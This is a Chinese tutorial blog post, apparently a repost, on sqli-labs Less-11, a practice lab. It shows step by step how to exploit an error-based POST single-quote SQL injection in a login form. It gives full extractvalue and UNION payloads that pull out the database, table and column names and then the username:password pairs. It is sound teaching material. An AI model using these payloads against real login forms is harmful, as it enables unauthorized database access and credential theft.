【SQL注入】Less-11基于错误的POST单引号字符型注入

Less-11基于错误的POST单引号字符型注入

首先,这个是在用户登陆进行查询引发的post型sql注入,和get差异很大;然后我们已知其中有个用户名dumb,密码dumb;进行登陆看看!
另外本实验将会用到extractvalue()该mysql报错型函数进行sql注入;
在登陆界面
输入dumb用户名

输入dumb密码

然后我们得到的拦截请求

提交post数据包
uname=dumb&passwd=dumb&submit=Submit

不对它进行任何数据包修改,进行发送请求

这个就是我们安全龙攻防实验室拦截请求功能的基本用法;

实验流程

方式一 extractvalue报错型

1、验证是否存在注入
拦截请求修改post数据包,将uname=dumb改成uname=dumo'后面参数保持不变!
发送请求后就会得到如下面图的报错,就说明存在sql注入;查找是否存在sql注入可以参考0x2 sql注入基础知识

2、爆开数据库
payload ~的编码是0x7e

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

改包完后,点击发送请求

得到我们想要的数据库名security

3、爆开数据表
payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

4、表开数据列(字段)
payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

5、爆开数据值
payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

方式二 union联合注入查询

爆开数据库表

uname=0' union select 1,database() --+ &passwd=admin&submit=Submit

爆开数据表

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

爆开数据列(字段)

uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit

爆开数据值

uname=0' union select 1, group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

实验总结

extractvalue与union对比
1、extractvalue只能显示出32字段;所以在爆开数据表的时候and table_name not in ('emails')
截图对比:
extractvalue爆出来的数据值

union爆出来的数据值

2、在构建union,查询这块基本是参考extractvalue查询方法!

猜你喜欢

转载自blog.csdn.net/Mitchell_Donovan/article/details/115335952
今日推荐